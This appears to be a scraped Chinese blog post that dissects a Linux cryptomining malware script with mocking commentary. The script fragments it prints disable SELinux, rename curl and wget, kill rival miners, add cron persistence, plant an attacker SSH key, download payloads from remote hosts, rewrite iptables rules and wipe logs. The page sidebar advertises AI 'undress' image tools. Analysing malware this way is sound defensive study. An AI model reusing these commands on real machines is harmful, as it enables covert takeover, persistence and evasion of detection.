Home Operation and Maintenance Safety What are the scripting methods for Linux?

What are the scripting methods for Linux?

May 22, 2023 am 08:11 AM
linux

code 1

#!/bin/sh
Copy after login

脚本的第一行,看起来是一行注释,但其实并不是。它规定了接下来的脚本,将要采用哪一个SHELL执行。像我们平常用的bash、zsh等,属于sh的超集,这个脚本使用sh作为执行的shell,具有更好的可移植性。

code 2

setenforce 0 2>dev/null echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
Copy after login

setenforce是Linux的selinux防火墙配置命令,执行setenforce 0  表示关闭selinux防火墙。2代表的是标准错误(stderr)的意思。因此,可使用重定向符将命令的错误输出重定向到/dev/null设备。这个设备是一个虚拟设备,意思是什么都不干。非常适合静悄悄的干坏事。

code 3

sync && echo 3 >/proc/sys/vm/drop_caches
Copy after login

脚本贴心的帮我们释放了一些内存资源,以便获取更多的资源进行挖矿。

众所周知,Linux系统会随着长时间的运行,会产生很多缓存,清理方式就是写一个数字到drop_caches文件里,这个数字通常为3。执行sync命令后,系统将所有未写入的缓冲区写入磁盘,因此可以安全地释放缓存。

code 4

crondir='/var/spool/cron/'"$USER" cont=`cat ${crondir}` ssht=`cat /root/.ssh/authorized_keys` echo 1 > /etc/sysupdates rtdir="/etc/sysupdates" bbdir="/usr/bin/curl" bbdira="/usr/bin/cur" ccdir="/usr/bin/wget" ccdira="/usr/bin/wge" mv /usr/bin/wget /usr/bin/get mv /usr/bin/xget /usr/bin/get mv /usr/bin/get /usr/bin/wge mv /usr/bin/curl /usr/bin/url mv /usr/bin/xurl /usr/bin/url mv /usr/bin/url /usr/bin/cur
Copy after login

没错,上面这些语句就是完成了一些普通的操作。值得注意的是,它把我们的一些常用命令,使用mv命令给重名了。这在执行命令的时候,就会显得分成功能的蛋疼。这脚本已经更改了计算机的一些文件,属于犯罪的范畴了。

脚本为了复用一些功能,抽象出了很多的函数。我们直接跳到main函数的执行,然后看一下这个过程。

code 5

首先是kill_miner_proc函数。代码很长,就不全部贴出来了。

kill_miner_proc() {     ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9   ...     pkill -f biosetjenkins     pkill -f Loopback     ...     crontab -r     rm -rf /var/spool/cron/*
Copy after login

挖矿领域是一个相爱相杀的领域。这个方法首先使用ps、grep、kill一套组合,干掉了同行的挖矿脚本,然后停掉了同行的cron脚本,黑吃黑的感觉。

在这段脚本里,使用了pkill命令。这个命令会终止进程,并按终端号踢出用户,比较暴力。

code 6

接下来执行的是kill_sus_proc函数。

ps axf -o "pid"|while read procid do ... done
Copy after login

ps加上o参数,可以指定要输出的列,在这里只输出的进程的pid,然后使用read函数,对procid进行遍历操作。

code 7

ls -l /proc/$procid/exe | grep /tmp if [ $? -ne 1 ] then ... fi
Copy after login

上面就是遍历操作过程了,我们可以看到if语句的语法。其中$?指的是上一个命令的退出状态。0表示没有错误,其他任何值表明有错误。-ne是不等于的意思,意思就是能够匹配到tmp这个字符串。

code 8

ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid do ... done
Copy after login

呵呵,上面又来了一次循环遍历。不过这次针对的目标,是cpu使用超过40%的进程。对于阅读过xjjdog的awk分析的同学来说,他们应该非常熟悉这个命令。这就有点狠了:影响我挖矿的进程,都得死!

相煎何太急。

code 9

再接下来,脚本针对不同的用户属性,进行了不同的操作。

首先是root用户。通过判断是否存在$rtdir文件,来确定是否是root权限。

chattr -i /etc/sysupdate* chattr -i /etc/config.json* chattr -i /etc/update.sh* chattr -i /root/.ssh/authorized_keys* chattr -i /etc/networkservice
Copy after login

使用chattr命令将一些关键文件设置为只读属性,限制其随意更改,这确实很严厉。然后,操作cron程序,把脚本的更新服务加入到定时中。

就是下面这段脚本。

code 10

if [ ! -f "/usr/bin/crontab" ] then     echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir} else     [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab - fi
Copy after login

注意[[ $cont =~ "update.sh" ]]这以小段代码,怪异的很。在shell中内置的一个命令是[[ ]],它支持字符串模式匹配。=~的使用甚至支持shell的正则表达式,非常强大。它的输出结果是一个bool类型,所以能够使用||进行拼接。

而后面的单小括号 (),是的是一个命令组,括号中多个命令之间用分号隔开,最后一个命令可以没有分号;和`cmd`的效果基本是一样的。

code 11

搞完了定时任务,就要配置ssh自动登录了,通过把公钥追加到信任列表中就可以。

chmod 700 /root/.ssh/ echo >> /root/.ssh/authorized_keys chmod 600 root/.ssh/authorized_keys echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/
Copy after login

code 12

说曹操曹操就到,下面的脚本就使用了``进行操作。

filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'` if [ "$filesize_config" -ne "$config_size" ] then     pkill -f sysupdate     rm /etc/config.json     downloads $config_url /etc/config.json $config_url_backup else     echo "no need download" fi
Copy after login

如果检测到配置文件大小不同,则进行重新下载,这个过程需要进行一系列复杂的操作。这就用到了downloads函数。

shell中的函数,看起来比较怪异,后面的参数传递,就像是脚本传递一样,传送给函数。

code 13

downloads $config_url /etc/config.json $config_url_backup
Copy after login

这句话,就传递了三个参数。

当然,文件要从遥远的服务器上下载。域名是.de结尾的,证明是个德国的域名,其他的我们一无所知。

downloads() {     if [ -f "/usr/bin/curl" ]     then     echo $1,$2         http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`         if [ "$http_code" -eq "200" ]         then             curl --connect-timeout 10 --retry 100 $1 > $2         elif [ "$http_code" -eq "405" ]         then             curl --connect-timeout 10 --retry 100 $1 > $2         else             curl --connect-timeout 10 --retry 100 $3 > $2         fi     elif [ -f "/usr/bin/cur" ]     then         http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`         if [ "$http_code" -eq "200" ]         then             cur --connect-timeout 10 --retry 100 $1 > $2         elif [ "$http_code" -eq "405" ]         then             cur --connect-timeout 10 --retry 100 $1 > $2         else             cur --connect-timeout 10 --retry 100 $3 > $2 fi     elif [ -f "/usr/bin/wget" ]     then         wget --timeout=10 --tries=100 -O $2 $1         if [ $? -ne 0 ]     then         wget --timeout=10 --tries=100 -O $2 $3         fi     elif [ -f "/usr/bin/wge" ]     then         wge --timeout=10 --tries=100 -O $2 $1         if [ $? -eq 0 ]         then             wge --timeout=10 --tries=100 -O $2 $3         fi     fi }
Copy after login

我觉得这段代码作者的水平没有得到很好的体现,代码写得又臭又长。应该是赶工期,没有想好代码的复用,才会写的这么有失水准。

我们上面说到,脚本改了几个命令的名字,其中就有curl。这个命令是如此的强大,以至于脚本的作者都忍不住加了不少参数。

  • -I 是用来测试http头信息

  • -m 设置最大传输时间

  • -o 指定保持的文件名。这里是/dev/null,呃呃呃

  • -s 静默模式。不输出任何东西

  • --connect-timeout 连接超时时间

  • --retry 重试次数,好狠100次

如果没有curl?那就使用替补的wget,套路都是一样的。

code 14

接下来是一系列相似的操作,最后,对iptables一批操作。

iptables -F iptables -X iptables -A OUTPUT -p tcp --dport 3333 -j DROP iptables -A OUTPUT -p tcp --dport 5555 -j DROP iptables -A OUTPUT -p tcp --dport 7777 -j DROP iptables -A OUTPUT -p tcp --dport 9999 -j DROP iptables -I INPUT -s 43.245.222.57 -j DROP service iptables reload
Copy after login

code 15

细心的脚本编写者,还使用命令清理了操作日志。

history -c echo > /var/spool/mail/root echo > /var/log/wtmp echo > /var/log/secure echo > /root/.bash_history
Copy after login

The above is the detailed content of What are the scripting methods for Linux?. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

Hot Topics

Java Tutorial
1654
14
PHP Tutorial
1252
29
C# Tutorial
1225
24
Linux Architecture: Unveiling the 5 Basic Components Linux Architecture: Unveiling the 5 Basic Components Apr 20, 2025 am 12:04 AM

The five basic components of the Linux system are: 1. Kernel, 2. System library, 3. System utilities, 4. Graphical user interface, 5. Applications. The kernel manages hardware resources, the system library provides precompiled functions, system utilities are used for system management, the GUI provides visual interaction, and applications use these components to implement functions.

vscode terminal usage tutorial vscode terminal usage tutorial Apr 15, 2025 pm 10:09 PM

vscode built-in terminal is a development tool that allows running commands and scripts within the editor to simplify the development process. How to use vscode terminal: Open the terminal with the shortcut key (Ctrl/Cmd). Enter a command or run the script. Use hotkeys (such as Ctrl L to clear the terminal). Change the working directory (such as the cd command). Advanced features include debug mode, automatic code snippet completion, and interactive command history.

How to check the warehouse address of git How to check the warehouse address of git Apr 17, 2025 pm 01:54 PM

To view the Git repository address, perform the following steps: 1. Open the command line and navigate to the repository directory; 2. Run the "git remote -v" command; 3. View the repository name in the output and its corresponding address.

Where to write code in vscode Where to write code in vscode Apr 15, 2025 pm 09:54 PM

Writing code in Visual Studio Code (VSCode) is simple and easy to use. Just install VSCode, create a project, select a language, create a file, write code, save and run it. The advantages of VSCode include cross-platform, free and open source, powerful features, rich extensions, and lightweight and fast.

How to run java code in notepad How to run java code in notepad Apr 16, 2025 pm 07:39 PM

Although Notepad cannot run Java code directly, it can be achieved by using other tools: using the command line compiler (javac) to generate a bytecode file (filename.class). Use the Java interpreter (java) to interpret bytecode, execute the code, and output the result.

What is the main purpose of Linux? What is the main purpose of Linux? Apr 16, 2025 am 12:19 AM

The main uses of Linux include: 1. Server operating system, 2. Embedded system, 3. Desktop operating system, 4. Development and testing environment. Linux excels in these areas, providing stability, security and efficient development tools.

vscode terminal command cannot be used vscode terminal command cannot be used Apr 15, 2025 pm 10:03 PM

Causes and solutions for the VS Code terminal commands not available: The necessary tools are not installed (Windows: WSL; macOS: Xcode command line tools) Path configuration is wrong (add executable files to PATH environment variables) Permission issues (run VS Code as administrator) Firewall or proxy restrictions (check settings, unrestrictions) Terminal settings are incorrect (enable use of external terminals) VS Code installation is corrupt (reinstall or update) Terminal configuration is incompatible (try different terminal types or commands) Specific environment variables are missing (set necessary environment variables)

vscode Previous Next Shortcut Key vscode Previous Next Shortcut Key Apr 15, 2025 pm 10:51 PM

VS Code One-step/Next step shortcut key usage: One-step (backward): Windows/Linux: Ctrl ←; macOS: Cmd ←Next step (forward): Windows/Linux: Ctrl →; macOS: Cmd →

See all articles